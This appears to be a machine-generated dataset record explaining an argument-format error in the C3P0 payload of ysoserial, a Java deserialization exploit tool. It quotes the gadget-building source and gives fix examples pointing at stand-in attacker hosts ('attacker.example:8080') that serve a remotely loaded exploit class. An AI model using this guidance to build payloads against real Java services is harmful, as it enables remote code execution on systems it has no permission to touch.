{"record":{"id":"d4e0e28847998736","repo":"frohoff/ysoserial","slug":"command-format-is-base-url-classname","errorCode":null,"errorMessage":"Command format is: <base_url>:<classname>","messagePattern":"Command format is: <base_url>:<classname>","errorType":"validation","errorClass":"IllegalArgumentException","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/payloads/C3P0.java","lineNumber":48,"sourceCode":" * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject\n *\n * Arguments:\n * - base_url:classname\n *\n * Yields:\n * - Instantiation of remotely loaded class\n *\n * @author mbechler\n *\n */\n@PayloadTest ( harness=\"ysoserial.test.payloads.RemoteClassLoadingTest\" )\n@Dependencies( { \"com.mchange:c3p0:0.9.5.2\" ,\"com.mchange:mchange-commons-java:0.2.11\"} )\n@Authors({ Authors.MBECHLER })\npublic class C3P0 implements ObjectPayload<Object> {\n    public Object getObject ( String command ) throws Exception {\n        int sep = command.lastIndexOf(':');\n        if ( sep < 0 ) {\n            throw new IllegalArgumentException(\"Command format is: <base_url>:<classname>\");\n        }\n\n        String url = command.substring(0, sep);\n        String className = command.substring(sep + 1);\n\n        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);\n        Reflections.getField(PoolBackedDataSourceBase.class, \"connectionPoolDataSource\").set(b, new PoolSource(className, url));\n        return b;\n    }\n\n\n\n\n    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {\n\n        private String className;\n        private String url;\n","sourceCodeStart":30,"sourceCodeEnd":66,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/payloads/C3P0.java#L30-L66","documentation":"C3P0 payload's getObject() splits the command on the last ':' to get a base URL for loading classes and a remote class name. If no ':' exists, it cannot build the C3P0 class-loading gadget and throws IllegalArgumentException with the usage string.","triggerScenarios":"Calling C3P0.getObject(command) with a string lacking ':' (e.g. just 'http://host:8080/' or just 'Exploit' without the URL part).","commonSituations":"Serving the exploitable class from a local HTTP server and forgetting the URL component; omitting the class name; shell stripping characters.","solutions":["Pass '<base_url>:<classname>', e.g. 'http://attacker:8080/:Exploit'","Ensure the base URL ends with a '/' if the remote loader expects a directory URL","Verify the class name matches the compiled class hosted at the base URL"],"exampleFix":"// before\nnew C3P0().getObject(\"Exploit\");\n// after\nnew C3P0().getObject(\"http://attacker.example:8080/:Exploit\");","handlingStrategy":"validation","validationCode":"if (command.lastIndexOf(':') < 0) throw new IllegalArgumentException(\"expected <base_url>:<classname>\");","typeGuard":null,"tryCatchPattern":"try { obj = new C3P0().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); }","preventionTips":["Include both URL and classname separated by ':'","End base URL with '/' when serving a directory of classes","Verify the remote class is hosted before generating"],"tags":["argument-parsing","ysoserial","c3p0"],"backgroundTag":"invalid-argument-format","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}